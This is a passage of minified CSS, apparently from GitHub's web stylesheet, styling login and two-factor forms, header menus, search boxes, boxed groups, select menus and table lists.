a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise .header-logged-out{padding:48px 0 24px;background-color:transparent}.session-authentication.hosted .header-logged-out{padding:40px 0 16px;background-color:transparent}.Header-old{z-index:32;padding-top:12px;padding-bottom:12px;color:#fff;background-color:var(--color-header-bg)}.server-stats+.Header-old{box-shadow:inset 0 1px 0 rgba(255,255,255,.075)}.Header-old .dropdown-menu{width:300px}.Header-old .notification-indicator:hover::after{content:none}@media(min-width: 1012px){.Header-old .notification-indicator:hover::after{content:attr(aria-label)}}.HeaderMenu{display:none;clear:both}@media(min-width: 1012px){.HeaderMenu{display:block;clear:none}}.open .HeaderMenu{display:block}.HeaderMenu-summary::marker,.HeaderMenu-summary::-webkit-details-marker{display:none}@keyframes dropdown-display{0%{opacity:0;transform:scale(0.98) translateY(-0.6em)}100%{opacity:1;transform:scale(1) translateY(0)}}.HeaderMenu--logged-out{z-index:100;width:300px;overflow:auto;background-color:var(--color-canvas-default);box-shadow:0 10px 50px rgba(27,31,35,.15)}@media(min-width: 1012px){.HeaderMenu--logged-out{width:auto;overflow:visible;background-color:transparent;box-shadow:none}}.HeaderMenu--logged-out .jump-to-suggestions{top:100%}.HeaderMenu--logged-out .HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}.HeaderMenu--logged-out .header-search-key-slash{margin-right:8px !important}.HeaderMenu--logged-out .dropdown-menu{position:static;width:auto;border:0 solid transparent;box-shadow:none}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{display:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu{position:absolute;width:300px;border:0;box-shadow:0 3px 12px rgba(27,31,35,.15),0 0 1px rgba(27,31,35,.2)}.HeaderMenu--logged-out .dropdown-menu::before,.HeaderMenu--logged-out .dropdown-menu::after{content:""}}.HeaderMenu--logged-out .dropdown-menu-s{transform:none}@media(min-width: 1012px){.HeaderMenu--logged-out .dropdown-menu-s{transform:translateX(50%)}}.HeaderMenu--logged-out .header-search{width:auto;border-top:0}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search{width:240px}}.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-border-muted)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{border-color:var(--color-header-search-border)}}@media(max-width: 1012px){.HeaderMenu--logged-out .header-search-wrapper{background-color:var(--color-canvas-default)}}.HeaderMenu--logged-out .header-search-input{padding-top:8px;padding-bottom:8px;font-size:14px;-webkit-appearance:none;color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input{color:inherit}}.HeaderMenu--logged-out .header-search-input::placeholder{color:var(--color-fg-muted) !important}@media(min-width: 1012px){.HeaderMenu--logged-out .header-search-input::placeholder{color:rgba(255,255,255,.75) !important}}.HeaderMenu-link{color:var(--color-fg-default);white-space:nowrap;background:transparent;transition:opacity .4s}.HeaderMenu-link:hover{color:var(--color-fg-default);opacity:.75}@media(min-width: 1012px){.HeaderMenu-link{color:#fff;transition:opacity .4s}.HeaderMenu-link:hover{color:#fff;opacity:.75}}.HeaderMenu-link .icon-chevon-down-mktg{top:24px;right:0;width:14px;stroke:var(--color-fg-default);transition:stroke .4s}@media(min-width: 1012px){.HeaderMenu-link .icon-chevon-down-mktg{top:-2px;width:12px;stroke:rgba(255,255,255,.5);background:transparent}}.HeaderMenu-details[open]>summary::before{display:none}@media(min-width: 1012px){.HeaderMenu-details[open]>summary::before{position:absolute;bottom:-8px;display:block}}.HeaderMenu-details[open] .HeaderMenu-link{color:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .HeaderMenu-link{color:rgba(255,255,255,.75)}}.HeaderMenu-details[open] .dropdown-menu{animation:none}@media(min-width: 1012px){.HeaderMenu-details[open] .dropdown-menu{animation:dropdown-display .4s cubic-bezier(0.73, 0.005, 0.22, 1)}}.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:var(--color-fg-default)}@media(min-width: 1012px){.HeaderMenu-details[open] .icon-chevon-down-mktg{stroke:#fff}}.header-logo-invertocat{margin:-1px 16px -1px -2px;color:#fff;white-space:nowrap}.header-logo-invertocat .octicon-mark-github{float:left}.header-logo-invertocat:hover{color:#fff;text-decoration:none}.notification-indicator .mail-status{position:absolute;top:-6px;left:6px;z-index:2;display:none;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.notification-indicator .mail-status.unread{display:inline-block}.notification-indicator:hover .mail-status{text-decoration:none;background-color:var(--color-accent-emphasis)}.header-nav-current-user{padding-bottom:0;font-size:inherit}.header-nav-current-user .css-truncate-target{max-width:100%}.header-nav-current-user .user-profile-link{color:var(--color-fg-default)}.unread-indicator{position:absolute;top:0;left:13px;z-index:2;width:14px;height:14px;color:#fff;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-header-bg);border-radius:50%}.unread-indicator--small{width:10px;height:10px;border:0}.unread-indicator-container .unread-indicator{top:9px;right:10px;left:inherit;width:10px;height:10px;border:0}.header-search-wrapper{display:table;width:100%;max-width:100%;padding:0;font-size:inherit;font-weight:400;color:var(--color-scale-white);vertical-align:middle;background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.header-search-wrapper.header-search-wrapper-jump-to .header-search-scope{width:-moz-fit-content;width:fit-content}.header-search-wrapper .truncate-repo-scope{max-width:110px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.header-search-wrapper.focus{background-color:rgba(255,255,255,.175);box-shadow:none}.header-search-wrapper.focus .header-search-scope{color:var(--color-scale-white);background-color:rgba(255,255,255,.075);border-right-color:#282e34}.header-search-input{display:table-cell;width:100%;padding-top:0;padding-bottom:0;font-size:inherit;color:inherit;background:none;border:0;box-shadow:none}.header-search-input::placeholder{color:rgba(255,255,255,.75)}.header-search-input:focus{border:0;box-shadow:none}.header-search-input:focus~.header-search-key-slash{display:none !important}.header-search-input::-ms-clear{display:none}.header-search-button{display:table-cell;font-size:inherit;color:inherit;background:none}.header-search-button.input-button:focus{border:0 !important;box-shadow:none}.header-search-button.input-button:focus~.header-search-key-slash{display:none !important}.header-search-button::-ms-clear{display:none}.header-search-button.placeholder{color:rgba(255,255,255,.75)}.header-search-scope{display:none;padding-right:8px;padding-left:8px;font-size:inherit;line-height:28px;color:rgba(255,255,255,.7);white-space:nowrap;vertical-align:middle;border-right:1px solid var(--color-border-muted);border-right-color:#282e34;border-top-left-radius:6px;border-bottom-left-radius:6px}.header-search-scope:empty+.header-search-input{width:100%}.header-search-scope:hover{color:var(--color-scale-white);background-color:rgba(255,255,255,.12)}.scoped-search .header-search-wrapper{display:flex}.jump-to-field-active{color:var(--color-fg-default) !important;background-color:var(--color-canvas-subtle)}.jump-to-field-active::placeholder{color:var(--color-fg-muted) !important}.jump-to-field-active~.header-search-key-slash{display:none}.jump-to-field-active.jump-to-dropdown-visible{border-bottom-right-radius:0;border-bottom-left-radius:0}.jump-to-suggestions{top:100%;left:0;z-index:35;width:100%;border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px;box-shadow:0 4px 10px rgba(0,0,0,.1)}.jump-to-suggestions-path{min-width:0;min-height:44px;color:var(--color-fg-default)}.jump-to-suggestions-path .jump-to-octicon{width:28px;color:var(--color-fg-muted)}.jump-to-suggestions-path .jump-to-suggestion-name{max-width:none}.jump-to-suggestions-path mark{font-weight:600;background-color:transparent}.jump-to-suggestions-results-container .navigation-item{border-bottom:1px solid var(--color-border-default)}.jump-to-suggestions-results-container .navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid 